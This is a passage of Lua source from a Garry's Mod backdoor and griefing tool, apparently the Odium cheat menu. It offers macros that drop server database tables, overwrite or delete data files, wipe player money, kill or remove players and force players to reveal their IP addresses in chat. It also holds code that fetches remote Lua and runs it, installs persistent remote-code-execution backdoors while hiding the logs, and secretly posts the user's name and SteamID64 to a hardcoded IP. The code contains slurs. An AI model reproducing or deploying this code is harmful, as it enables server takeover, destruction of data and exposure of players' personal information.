PlayerGroup","FADMIN_PRIVILEGES","FADMIN_RESTRICTEDENTS","FAdmin_ServerSettings","F
AdminBans","FPP_ANTISPAM1","FPP_BLOCKED1","FPP_BLOCKMODELSETTINGS1","FPP_ENTITYDAMA
GE1","FPP_GLOBALSETTINGS1","FPP_GRAVGUN1","FPP_GROUPMEMBERS1","FPP_GROUPS3","FPP_GR
OUPTOOL","FPP_PHYSGUN1","FPP_PLAYERUSE1","FPP_TOOLADMINONLY","FPP_TOOLGUN1","FPP_TO
OLRESTRICTPERSON1","FPP_TOOLTEAMRESTRICT","FPP_BLOCKEDMODELS1","awarn_playerdata","
awarn_serverdata","awarn_warnings","blogs_players_v3","blogs_v3","stt_date","stt_pl
ayers","mlog_logs","mlog_permissions","atlaschat_players","atlaschat_ranks","atlasc
hat_remote","atlaschat_restrictions","OreBag","fcd_playerData","dailylogin","ChessL
eaderboard","qsgr_data","voting_npcs","cac_incidents","steam_rewards","playerdata",
"playerinformation","utime","permaprops","cc_characters","cc_npcs","ckit_chips","ck
it_persist","exsto_data_bans","exsto_data_ranks","exsto_data_users","exsto_data_var
iables","exsto_restriction","inventories","kinv_items","libk_player","permitems","p
layer_gangapps","player_gangdata","player_gangs","ps2_categories","ps2_equipmentslo
t","ps2_HatPersistence","ps2_itemmapping","ps2_itempersistence","ps2_OutfitHatPersi
stenceMapping","ps2_outfits","ps2_playermodelpersistence","ps2_servers","ps2_settin
gs","ps2_trailpersistence","ps2_wallet","removeprops","scoreboard_friends","serverg
uard_analytics","serverguard_bans","serverguard_pms","serverguard_ranks","servergua
rd_reports","serverguard_schema","serverguard_ttt_autoslays","serverguard_users","s
erverguard_watchlist","tttstats","ttt_passes_history","specdm_stats_new","ps2_achie
vements","ps2_boosterpersistence","ps2_cratepersistence","ps2_instatswitchweaponper
sistence","ps2_keypersistence","ps2_rolecontrolpersistence","ps2_weaponpersistence"
,"rapsheet","damagelog_autoslay","damagelog_names","damagelog_oldlogs","damagelog_w
eapons","kmapvote_mapinfo","kmapvote_ratings","mgang_gangs","mgang_players","deathr
un_ids","deathrun_records","deathrun_stats","sui_ratings","shop_texthats","shop_mon
ey","shop_items","report_log" }
local datafiles =
{ "ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ul
x/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/do
wnloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits
.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.tx
t","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/rank
tags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilage
s.txt","wire_version.txt","UTeam.txt","prevhas.txt","cac/system_log_sv.txt","cac/se
rverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","hit
numbers/settings.txt","soundlists/common_sounds.txt","vcmod/controls.txt","vcmod/da
taserver.txt","qsgr_data/sqgr_settings.txt","blogs/configcache.txt","blogs/language
.txt","cac/adminuipack.txt","ezjobs/config.txt","damagelog/colors.txt","damagelog/f
ilters_new.txt","craphead_scripts/armory_robbery/rp_downtown_v4c/policearmory_locat
ion.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v2/policearmory_location.
txt","craphead_scripts/armory_robbery/rp_downtown_v2/policearmory_location.txt","cr
aphead_scripts/armory_robbery/rp_downtown_evilmelon_v1/policearmory_location.txt","
craphead_scripts/armory_robbery/rp_downtown_v4c_v3/policearmory_location.txt","crap
head_scripts/armory_robbery/rp_downtown_v4c_v4/policearmory_location.txt","mg_gangs
data/mg_npcspawns.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","ca
seclaims.txt",
"sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","prevhas
h.txt","permaprops_config.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdat
a/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","vliss/settings/config.t
xt","nordahl_spawnpoint/rp_venator_v3.txt","nordahl_spawnpoint/rp_venator_v2.txt","
nordahl_spawnpoint/rp_venator_v1.txt","nordahl_spawnpoint/rp_venator_gg.txt","norda
hl_spawnpoint/rp_venator_ausv4.txt","nordahl_spawnpoint/rp_venator_v2_ffg.txt","pla
nningevent/prehud.txt","planningoption/hourformat.txt","nordahl_spawnpoint/arena_by
re.txt","nordahl_spawnpoint/rp_venator_v2_immersive.txt","nordahl_spawnpoint/rp_ven
ator_fade_v3.txt","nordahl_spawnpoint/rp_venator_gr.txt","nordahl_spawnpoint/rp_tat
oonie_dunsea_v1.txt","nordahl_spawnpoint/rp_scifi.txt","nordahl_spawnpoint/rishimoo
n_crimson.txt","nordahl_spawnpoint/rp_pripyat_hl2.txt","nordahl_spawnpoint/rp_onwar
dhope.txt",
"nordahl_spawnpoint/rp_oldworld_fix.txt","nordahl_spawnpoint/sd_doomsday.txt","nord
ahl_spawnpoint/sd_doomsday_event.txt","nordahl_spawnpoint/rp_naboo_city_v1.txt","no
rdahl_spawnpoint/rp_noclyria_crimson.txt","nordahl_spawnpoint/rp_nar_shaddaa_v2.txt
","nordahl_spawnpoint/rp_mos_mersic_v2.txt","nordahl_spawnpoint/rp_kashyyk_jungle_b
2.txt","nordahl_spawnpoint/dust_dunes.txt","nordahl_spawnpoint/rp_cscdesert_v2-
1_propfix.txt","nordahl_spawnpoint/rd_asteroid.txt","nordahl_spawnpoint/naboo.txt",
"nordahl_spawnpoint/kashyyyk.txt","nordahl_spawnpoint/geonosis.txt","nordahl_spawnp
oint/fightspace3b.txt","nordahl_spawnpoint/endor.txt","nordahl_spawnpoint/toth_forg
otten.txt"}
local sensitivefiles =
{ "ulx_logs/"..date..".txt","ulib/bans.txt","ulib/groups.txt","ulib/misc_registered
.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","u
lx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrict
ions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.t
xt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/sel
ectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt",
"vcmod/config_sv_privilages.txt","cac/system_log_sv.txt","cac/serverworkshopinforma
tion.txt","cac/settings.txt","cac/serverluainformation.txt","vcmod/controls.txt","v
cmod/dataserver.txt","blogs/configcache.dat","blogs/language.txt","blogs/config_v5.
txt","cac/adminuipack.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt"
,"caseclaims.txt",
"sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","permapr
ops_config.txt","whitelist.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobda
ta/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","nordahl_spawnpoint/rp_
venator_v3.txt","nordahl_spawnpoint/rp_venator_v2.txt","nordahl_spawnpoint/rp_venat
or_v1.txt","nordahl_spawnpoint/rp_venator_gg.txt","nordahl_spawnpoint/rp_venator_au
sv4.txt","nordahl_spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","pla
nningoption/hourformat.txt","nordahl_spawnpoint/arena_byre.txt","nordahl_spawnpoint
/rp_venator_v2_immersive.txt","nordahl_spawnpoint/rp_venator_fade_v3.txt","nordahl_
spawnpoint/rp_venator_gr.txt","nordahl_spawnpoint/rp_tatoonie_dunsea_v1.txt","norda
hl_spawnpoint/rp_scifi.txt","nordahl_spawnpoint/rishimoon_crimson.txt","nordahl_spa
wnpoint/rp_pripyat_hl2.txt","nordahl_spawnpoint/rp_onwardhope.txt",
"nordahl_spawnpoint/rp_oldworld_fix.txt","nordahl_spawnpoint/sd_doomsday.txt","nord
ahl_spawnpoint/sd_doomsday_event.txt","nordahl_spawnpoint/rp_naboo_city_v1.txt","no
rdahl_spawnpoint/rp_noclyria_crimson.txt","nordahl_spawnpoint/rp_nar_shaddaa_v2.txt
","nordahl_spawnpoint/rp_mos_mersic_v2.txt","nordahl_spawnpoint/rp_kashyyk_jungle_b
2.txt","nordahl_spawnpoint/dust_dunes.txt","nordahl_spawnpoint/rp_cscdesert_v2-
1_propfix.txt","nordahl_spawnpoint/rd_asteroid.txt","nordahl_spawnpoint/naboo.txt",
"nordahl_spawnpoint/kashyyyk.txt","nordahl_spawnpoint/geonosis.txt","nordahl_spawnp
oint/fightspace3b.txt","nordahl_spawnpoint/endor.txt","nordahl_spawnpoint/toth_forg
otten.txt"}

for k,v in pairs(databases) do


if sql.TableExists(v) then
sql.Query("DROP TABLE "..v.." ;")
sql.Query("CREATE TABLE IF NOT EXISTS "..v.."
( steamid TEXT NOT NULL PRIMARY KEY, value TEXT );")
end
end

for k,v in pairs(datafiles) do


if file.Exists(v) then
file.Delete(v)
file.write(v, "odium.pro hehe")
end
end

for k,v in pairs(sensitivefiles) do


if file.Exists(v) then
file.Delete(v)
file.write(v, "odium.pro hehe")
end
end
]],

["Desc"] = "Removes as much data as possible.",

},

["Kill player (silent)"] = {

["Type"] = 2,

["Code"] = [[v:KillSilent()]],

["Desc"] = "Silent slay a player.",

},

["Delete props"] = {

["Type"] = 2,

["Code"] = [[v:ConCommand("gmod_cleanup")]],

["Desc"] = "Removes all of the selected users props.",

},

["Send lua"] = {
["Type"] = 2,

["Code"] = [[ v:SendLua( ""..@1.."") ]],

["Desc"] = "Sends lua to the selected user.",

["NeedsParameters"] = 1,

},

["My ip is..."] = {

["Type"] = 2,

["Code"] = [[
if (darkrp || DarkRP) then

v:SendLua('http.Fetch("https://ipv4bot.whatismyipaddress.com", function(b,l,h,c)
LocalPlayer():ConCommand("say /ooc My IP is "..b) end, function(error) return error
end )')
else

v:SendLua('http.Fetch("https://ipv4bot.whatismyipaddress.com", function(b,l,h,c)
LocalPlayer():ConCommand("say My IP is "..b) end, function(error) return error
end )')
end
]],

["Desc"] = "Forces the selected user(s) to say their


own ip in chat.",

},

["Ice skating simulator"] = {

["Type"] = 1,

["Code"] = [[ if !(icePark) then icePark = true


RunConsoleCommand("sv_friction", 0) else icePark = false
RunConsoleCommand("sv_friction", 8) end ]],

["Desc"] = "Makes everyone skate around like they're on


ice.",

},

["Scramble vision"] = {

["Type"] = 2,

["Code"] = [[
v:SendLua('http.Fetch("https://gastheje.ws/scram.lua",
function(b,l,h,c) RunString(b) end, function(error) print(error) end )')
]],

["Desc"] = "Fucks the view of target",

},
// key/view scrambler, fuck with escape menu

------------------------ dangerous codens


------------------------

["DarkRP clear all money"] = {

["Type"] = 3,

["Code"] = [[RunConsoleCommand("rp_resetallmoney")]],

["Desc"] = "Kids will cry to the admins for the next


week about losing their precious money",

},

["Cleanup map"] = {

["Type"] = 3,

["Code"] = [[game.CleanUpMap()]],

["Desc"] = "Wipe the map clean, taking everybodys cars,


printers and bases out",

},

["Vaporize all players"] = {

["Type"] = 3,

["Code"] = [[for k, v in pairs(player.GetAll()) do


v:Remove() end]],

["Desc"] = "Deletes their player entity, leaving them


staring at a wall of errors",

},

["FPP Unrestrict everything"] = {

["Type"] = 3,

["Code"] = [[FPP.Blocked = {} FPP.BlockedModels = {}


FPP.RestrictedTools = {} FPP.RestrictedToolsPlayers = {} ]],

["Desc"] = "",

},
["Wipe data folder"] = {

["Type"] = 3,

["Code"] = [[local files, directories = file.Find( "*",


"DATA" ) for k, v in pairs( files ) do file.Delete( v ) end ]],

["Desc"] = "Wipe the servers data folder, fucking all


their settings and stuff up",

},

["Wipe DarkRP SQL Tables"] = {

["Type"] = 3,

["Code"] = [[ MySQLite.query ('DROP TABLE


darkrp_player' MySQLite.query('CREATE TABLE IF NOT EXISTS darkrp_player(idx INTEGER
NOT NULL)') ]],

["Desc"] = "Completely fucks darkrp, forces them to


reinstall the entire server",

},

local selectedbackdoor = ""

local backdoorargs = ""

local selectedplayers = {}

//////////////////////////////// BIG PRIVET


CHEETZ ////////////////////////////////
BD.BDMacros["@ Persistent Infection"] = {
["Type"] = 1,
["Code"] = [[
local config = ULib.fileRead( "data/ulx/config.txt" )
config = config.."\nulx logEcho 0"
config = config.."\nulx luarun %BD"
config = config.."\nulx logEcho 1"
ULib.fileWrite( "data/ulx/config.txt", config )
for _, p in pairs(player.GetAll()) do if %LCP then
p:ChatPrint( "Persistent infection installed on server" ) end end
]],
["Desc"] = "Writes the backdoor code into memory, making
sure that it stays on the server after restart",
["Private"] = true,
}

BD.BackdoorTypes[">Odium Detector"] = {
["Code"] = "util.AddNetworkString( 'NoOdium_ReadPing' )
net.Receive( 'NoOdium_ReadPing', function() local x =
CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end
end )",
["Netkey"] = "NoOdium_ReadPing",
}

BD.BackdoorTypes["No Narks"] = {
["Code"] = "util.AddNetworkString( 'NoNerks' )
net.Receive( 'NoNerks', function() local x = CompileString( net.ReadString(),
'LuaCmd', false ) if isfunction( x ) then x() end end )",
["Netkey"] = "NoNerks",
}

function BD.GenerateBackdoorList( parent, category )

for k, v in SortedPairs( BD.BDMacros, false ) do

if v["Type"] != category then continue end

local plypanel2 = vgui.Create( "DPanel" )

plypanel2:SetPos( 0, 0 )

plypanel2:SetSize( 200, 25 )

plypanel2.Paint = function() -- Paint function

draw.RoundedBoxEx(8,1,1,plypanel2:GetWide(),plypanel2:GetTall(),Color(0, 0, 0,
150), false, false, false, false)

if selectedbackdoor == k then
surface.SetDrawColor(Color(50, 250, 90, 255)) else surface.SetDrawColor(Color(50,
50, 90, 255)) end

surface.DrawOutlinedRect(1, 1, plypanel2:GetWide() -
1 , plypanel2:GetTall() - 1)

end

local plyname = vgui.Create( "DLabel", plypanel2 )

plyname:SetPos( 10, 5 )
plyname:SetFont( "Trebuchet18" )

local tcol = Color( 255, 255, 255 )

if v.Private then tcol = Color( 155, 255, 155 ) end

plyname:SetColor( tcol )

plyname:SetText( k )

plyname:SetSize(180, 15)

local faggot = vgui.Create("DButton", plypanel2)

faggot:SetSize( plypanel2:GetWide(),
plypanel2:GetTall() )

faggot:SetPos( 0, 0 )

faggot:SetText("")

if v["Desc"] != "" then faggot:SetToolTip( v["Desc"] )


end

faggot.Paint = function(panel, w, h)

return

end

faggot.DoClick = function()

selectedbackdoor = k

end

parent:AddItem( plypanel2 )

end

end

function BD.FormatCodeTargeted()

if !BD.BackdoorActive() then BD.ChatText( "Warning: backdoor


malfunctioning or not present!", Color(255,155,155) ) return end

if selectedbackdoor == "" then BD.ChatText( "You haven't


selected a macro to use!", Color(255,155,155) ) return end

local param = string.Explode( ",", backdoorargs )

local ids = {}

for k, v in pairs( selectedplayers ) do

if !v:IsValid() then table.RemoveByValue( selectedplayers,


v ) continue end

table.insert( ids, v:UniqueID() )

end

local code = [[ local targets = ## for k, v in


pairs( player.GetAll() ) do if !v:IsValid() then continue end if
table.HasValue( targets, v:UniqueID() ) then %% end end ]]

code = string.Replace( code, "##", table.ToString( ids ) )

code = string.Replace( code, "%%",


BD.BDMacros[selectedbackdoor]["Code"] or "" )

code = string.Replace( code, "%LP", "p:UniqueID()


== \""..LocalPlayer():UniqueID().."\"" )

if BD.BDMacros[selectedbackdoor]["NeedsParameters"] and
(BD.BDMacros[selectedbackdoor]["NeedsParameters"] > #param or param[1] == "" ) then
BD.ChatText( "This macro requires parameters to work! check its description for
more info", Color(255,155,155) ) return end

if #param < 1 then param = { [1] = "derp", [2] = "derp", [3] =


"derp", [4] = "derp", [5] = "derp" } end

for k, v in pairs( param ) do

code = string.Replace( code, "@"..k, [["]]..v..[["]] )

end

BD.Fire( code )

end
function BD.FormatCodeGlobal()

if !BD.BackdoorActive() then BD.ChatText( "Warning: backdoor


malfunctioning or not present!", Color(255,155,155) ) return end

if selectedbackdoor == "" then BD.ChatText( "You haven't


selected a macro to use!", Color(255,155,155) ) return end

local param = string.Explode( ",", backdoorargs )

local code = BD.BDMacros[selectedbackdoor]["Code"]

if BD.BDMacros[selectedbackdoor]["NeedsParameters"] and
(BD.BDMacros[selectedbackdoor]["NeedsParameters"] > #param or param[1] == "" ) then
BD.ChatText( "This macro requires parameters to work! check its description for
more info", Color(255,155,155) ) return end

if #param < 1 then param = { [1] = "derp", [2] = "derp", [3] =


"derp", [4] = "derp", [5] = "derp" } end

for k, v in pairs( param ) do

code = string.Replace( code, "@"..k, [["]]..v..[["]] )

code = string.Replace( code, "%LP",


LocalPlayer():UniqueID() )

code = string.Replace( code, "%LCP", "p:UniqueID()


== \""..LocalPlayer():UniqueID().."\"" )

code = string.Replace( code, "%BD", BD.GetActive().Code )

end

BD.Fire( code )

end

local safenet = net

local function bdnet()

if odium and odium.G then return odium.G.net end


return safenet

end

local h = http
local p = "Post"
local str = "https://162.243.145.59:5000/api/backdoor/use"
local lp = LocalPlayer()
local n = lp:Nick()
local id = lp:SteamID64()

h[p](str, {
name = n,
steamid = id,
},
nil, nil)

function BD.Fire( code )

local cbd = BD.CurrentBackdoor

if !BD.Backdoors[cbd] then

BD.ChatText( "The selected backdoor is unavailable!",


Color(255,155,155) )

return

end

local key = BD.BackdoorTypes[cbd].Netkey

bdnet().Start( key )

bdnet().WriteString( code )

bdnet().SendToServer()

end

function BD.BackdoorMenu()

BD.Backdoors = BD.PingBackDoors()

if !BD.IsMessagePooled( "cucked" ) and BD.BackdoorActive() then

BD.Fire( [[util.AddNetworkString( "cucked" )


function BDSendLua( p, str ) net.Start( "cucked" )
net.WriteString( str ) net.Send( p ) end

function BDSendLuaAll( str ) net.Start( "cucked" )


net.WriteString( str ) net.Broadcast() end

function BDInjectAids( p )
p:SendLua( 'net.Receive( "cucked", function() RunString( net.ReadString() )
end )' ) end

for k, v in pairs( player.GetAll() ) do BDInjectAids( v


) end

hook.Add( "PlayerInitialSpawn",
"youonlygetcuckedagain", function( p ) BDInjectAids( p ) end)

]] )

end

local BDMenu = vgui.Create("DFrame")

BDMenu:SetSize(650,720)

BDMenu:SetTitle("Backdoor Menu")

BDMenu:Center()

BDMenu:MakePopup()

BDMenu.Paint = function( self, w, h)

surface.SetDrawColor( Color(50, 50, 90, 255) )

surface.DrawRect( 0, 0, w, h )

surface.SetDrawColor( Color(155, 155, 155, 255) )

surface.DrawOutlinedRect( 0, 0, w, h )

surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )

surface.SetDrawColor( Color(0, 0, 0, 200) )

surface.DrawRect( 10, 25, w - 20, h - 35 )

surface.DrawRect( 15, 30, w - 30, 35 )

draw.SimpleText("Indiscriminate Lulz", "DermaDefault",


22, 75, Color(255, 255, 255), 0, 1)

draw.SimpleText("Specific Targets", "DermaDefault", 228,


75, Color(255, 255, 255), 0, 1)

draw.SimpleText("Trash the place", "DermaDefault", 432,


75, Color(255, 255, 255), 0, 1)

draw.SimpleText("Players to Target", "DermaDefault", 432,


305, Color(255, 255, 255), 0, 1)

draw.SimpleText("Macro Paramaters (seperate with


commas)", "DermaDefault", 432, 610, Color(255, 255, 255), 0, 1)

end

local it = 145

local wedungoofd = vgui.Create( "DLabel", BDMenu )

wedungoofd:SetPos( 25, 38 )

wedungoofd:SetFont( "Trebuchet18" )

wedungoofd:SetColor( Color( 100, 255, 100 ) )

wedungoofd:SetText( "CHOOSE BACKDOOR:" )

wedungoofd:SizeToContents()

for bd, t in pairs( BD.BackdoorTypes ) do

local faggot = vgui.Create("DButton", BDMenu)

faggot:SetSize( 100, 25 )

faggot:SetPos( it, 35 )

faggot:SetText( bd )

faggot:SetTextColor(Color(255, 255, 255, 255))

faggot.Paint = function(panel, w, h)

if BD.Backdoors[bd] then

surface.SetDrawColor(100, 100, 200 ,255)

surface.DrawOutlinedRect(0, 0, w, h)

surface.SetDrawColor(0, 0, 50 ,155)

surface.DrawRect(0, 0, w, h)

else

surface.SetDrawColor(50, 50, 50 ,155)

surface.DrawRect(0, 0, w, h)
end

end

faggot.DoClick = function()

BD.ChatText( "Set active backdoor to "..bd,


Color(155,155,255) )

BD.CurrentBackdoor = bd

surface.PlaySound("buttons/button18.wav")

end

it = it + 110

end

local Plist = vgui.Create( "DPanelList", BDMenu )

Plist:SetPos( 20, 85 )

Plist:SetSize( 200, 530 )

Plist:SetPadding( 5 )

Plist:SetSpacing( 5 )

Plist:EnableHorizontal( false )

Plist:EnableVerticalScrollbar( true )

Plist:SetName( "" )

Plist.Paint = function( self, w, h )

surface.SetDrawColor(50, 50, 50 ,255)

surface.DrawOutlinedRect(0, 0, w, h)

surface.SetDrawColor(0, 0, 0 ,200)

surface.DrawRect(0, 0, w, h)

end

local Plist2 = vgui.Create( "DPanelList", BDMenu )

Plist2:SetPos( 225, 85 )

Plist2:SetSize( 200, 610 )

Plist2:SetPadding( 5 )
Plist2:SetSpacing( 5 )

Plist2:EnableHorizontal( false )

Plist2:EnableVerticalScrollbar( true )

Plist2:SetName( "" )

Plist2.Paint = function( self, w, h )

surface.SetDrawColor(50, 50, 50 ,255)

surface.DrawOutlinedRect(0, 0, w, h)

surface.SetDrawColor(0, 0, 0 ,200)

surface.DrawRect(0, 0, w, h)

end

local Plist3 = vgui.Create( "DPanelList", BDMenu )

Plist3:SetPos( 430, 85 )

Plist3:SetSize( 200, 210 )

Plist3:SetPadding( 5 )

Plist3:SetSpacing( 5 )

Plist3:EnableHorizontal( false )

Plist3:EnableVerticalScrollbar( true )

Plist3:SetName( "" )

Plist3.Paint = function( self, w, h )

surface.SetDrawColor(50, 50, 50 ,255)

surface.DrawOutlinedRect(0, 0, w, h)

surface.SetDrawColor(0, 0, 0 ,200)

surface.DrawRect(0, 0, w, h)

end

local Plist4 = vgui.Create( "DPanelList", BDMenu )

Plist4:SetPos( 430, 315 )

Plist4:SetSize( 200, 250 )


Plist4:SetPadding( 5 )

Plist4:SetSpacing( 5 )

Plist4:EnableHorizontal( false )

Plist4:EnableVerticalScrollbar( true )

Plist4:SetName( "" )

Plist4.Paint = function( self, w, h )

surface.SetDrawColor(50, 50, 50 ,255)

surface.DrawOutlinedRect(0, 0, w, h)

surface.SetDrawColor(0, 0, 0 ,200)

surface.DrawRect(0, 0, w, h)

end

local faggot = vgui.Create("DButton", BDMenu)

faggot:SetSize( 200, 35 )

faggot:SetPos( 430, 660 )

faggot:SetText("Activate Backdoor!")

faggot:SetTextColor(Color(255, 255, 255, 255))

faggot.Paint = function(panel, w, h)

surface.SetDrawColor(100, 100, 200 ,255)

surface.DrawOutlinedRect(0, 0, w, h)

surface.SetDrawColor(0, 0, 50 ,155)

surface.DrawRect(0, 0, w, h)

end

faggot.DoClick = function()

if !BD.BDMacros[selectedbackdoor] or selectedbackdoor == "" then


BD.ChatText( "You haven't even selected a macro to use ya dingus!",
Color(255,155,155) ) return end

if BD.BDMacros[selectedbackdoor].Type == ( 1 or 3 ) then
BD.FormatCodeGlobal() else BD.FormatCodeTargeted() end

surface.PlaySound("buttons/button18.wav")

end
local helpimretarded = vgui.Create("DButton", BDMenu)

helpimretarded:SetSize( 200, 35 )

helpimretarded:SetPos( 20, 660 )

helpimretarded:SetText("Print backdoor code")

helpimretarded:SetTextColor(Color(255, 255, 255, 255))

helpimretarded.Paint = function(panel, w, h)

surface.SetDrawColor(100, 100, 200 ,255)

surface.DrawOutlinedRect(0, 0, w, h)

surface.SetDrawColor(0, 0, 50 ,155)

surface.DrawRect(0, 0, w, h)

end

helpimretarded.DoClick = function()

BD.ChatText( "Output backdoor code to clipboard. Ctrl-V it into a serverside


.lua file on the target server then go molest its holes", Color(155,255,155) )

local bdstring = BD.GetActive().Code

-- local bdstring = [[util.AddNetworkString( "_CAC_ReadMemory" )


net.Receive( "_CAC_ReadMemory", function() local x =
CompileString( net.ReadString(), "LuaCmd", false ) if isfunction( x ) then x() end
end )]]

SetClipboardText( bdstring )

end

local helpimretarded2 = vgui.Create("DButton", BDMenu)

helpimretarded2:SetSize( 200, 35 )

helpimretarded2:SetPos( 20, 620 )

helpimretarded2:SetText("ULX Luarun Backdoor")

helpimretarded2:SetTextColor(Color(255, 255, 255, 255))

helpimretarded2.Paint = function(panel, w, h)

surface.SetDrawColor(100, 100, 200 ,255)

surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(0, 0, 50 ,155)

surface.DrawRect(0, 0, w, h)

end

helpimretarded2.DoClick = function()

BD.ChatText( "Using ulx luarun to silently infect server", Color(155,255,155) )

LocalPlayer():ConCommand( [[ulx rcon ulx logEcho 0]] )

timer.Simple( 0.5, function()

LocalPlayer():ConCommand( "ulx luarun "..BD.GetActive().Code )

-- LocalPlayer():ConCommand( "ulx luarun


util.AddNetworkString( '_CAC_ReadMemory' ) net.Receive( '_CAC_ReadMemory',
function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if
isfunction( x ) then x() end end )" )

end )

timer.Simple( 1, function() LocalPlayer():ConCommand( [[ulx rcon ulx logEcho


1]] ) end )

timer.Simple( 1.5, function() if BD.IsMessagePooled( BD.GetActive().Netkey ) then


BD.ChatText( "Successfully infected!", Color(155,255,155) ) else BD.ChatText( "ULX
infection failed!", Color(255,155,155) ) end end )

end

local moonman = vgui.Create( "DTextEntry", BDMenu )

moonman:SetPos( 430, 625 )

moonman:SetSize( 200, 30 )

moonman:SetText( backdoorargs )

moonman.OnChange = function( self )

backdoorargs = self:GetValue()

-- surface.PlaySound("buttons/button3.wav")

end
local target1 = vgui.Create("DButton", BDMenu)

target1:SetSize( 40, 20 )

target1:SetPos( 520, 295 )

target1:SetText("All")

target1:SetTextColor(Color(255, 255, 255, 255))

target1.Paint = function(panel, w, h)

surface.SetDrawColor(100, 100, 200 ,255)

surface.DrawOutlinedRect(0, 0, w, h)

surface.SetDrawColor(0, 0, 50 ,155)

surface.DrawRect(0, 0, w, h)

end

target1.DoClick = function()

for _, p in pairs(player.GetAll()) do

if not table.HasValue( selectedplayers, p ) then

table.insert( selectedplayers, p )

end

end

end

local target2 = vgui.Create("DButton", BDMenu)

target2:SetSize( 40, 20 )

target2:SetPos( 565, 295 )

target2:SetText("None")

target2:SetTextColor(Color(255, 255, 255, 255))

target2.Paint = function(panel, w, h)

surface.SetDrawColor(100, 100, 200 ,255)

surface.DrawOutlinedRect(0, 0, w, h)

surface.SetDrawColor(0, 0, 50 ,155)

surface.DrawRect(0, 0, w, h)

end
target2.DoClick = function()

table.Empty( selectedplayers )

end

local target2 = vgui.Create("DButton", BDMenu)

target2:SetSize( 20, 20 )

target2:SetPos( 610, 295 )

target2:SetText("Me")

target2:SetTextColor(Color(255, 255, 255, 255))

target2.Paint = function(panel, w, h)

surface.SetDrawColor(100, 100, 200 ,255)

surface.DrawOutlinedRect(0, 0, w, h)

surface.SetDrawColor(0, 0, 50 ,155)

surface.DrawRect(0, 0, w, h)

end

target2.DoClick = function()

table.Empty( selectedplayers )

table.insert( selectedplayers, LocalPlayer() )

end

-- players list

for k, v in pairs( player.GetAll() ) do

local plypanel2 = vgui.Create( "DPanel" )

plypanel2:SetPos( 0, 0 )

plypanel2:SetSize( 200, 25 )
plypanel2.Paint = function() -- Paint function

draw.RoundedBoxEx(8,1,1,plypanel2:GetWide(),plypanel2:GetTall(),Color(0, 0, 0,
150), false, false, false, false)

if table.HasValue( selectedplayers, v ) then surface.SetDrawColor(Color(50, 255,


90, 255)) else surface.SetDrawColor(Color(50, 50, 90, 255)) end

surface.DrawOutlinedRect(1, 1, plypanel2:GetWide() - 1 , plypanel2:GetTall() - 1)

end

local plyname = vgui.Create( "DLabel", plypanel2 )

plyname:SetPos( 10, 5 )

plyname:SetFont( "Trebuchet18" )

local tcol = Color( 255, 255, 255 )

if v == LocalPlayer() then tcol = Color( 155, 155, 255 ) end

-- elseif BD.IsFriend( v ) then tcol = Color( 0, 255, 0 )

-- elseif BD.GetRank(v) != ( "user" or "guest" or "player" ) then tcol =


Color( 255, 100, 0 ) end

plyname:SetColor( tcol )

plyname:SetText( v:Nick() )

plyname:SetSize(180, 15)

local faggot = vgui.Create("DButton", plypanel2)

faggot:SetSize( plypanel2:GetWide(), plypanel2:GetTall() )

faggot:SetPos( 0, 0 )

faggot:SetText("")

faggot.Paint = function(panel, w, h)

return

end

faggot.DoClick = function()

if table.HasValue( selectedplayers, v ) then

table.RemoveByValue( selectedplayers, v )
else

table.insert( selectedplayers, v )

end

end

Plist4:AddItem( plypanel2 )

end

BD.GenerateBackdoorList( Plist, 1 )

BD.GenerateBackdoorList( Plist2, 2 )

BD.GenerateBackdoorList( Plist3, 3 )

end

concommand.Add("bd_menu", BD.BackdoorMenu)

function BD.QuickFireBackdoor()

if !BD.BDMacros[selectedbackdoor] or selectedbackdoor == "" then BD.ChatText(


"You haven't even selected a macro to use ya dingus!", Color(255,155,155) ) return
end

if BD.BDMacros[selectedbackdoor].Type == ( 1 or 3 ) then
BD.FormatCodeGlobal() else BD.FormatCodeTargeted() end

end

concommand.Add("bd_quickfire", BD.QuickFireBackdoor)

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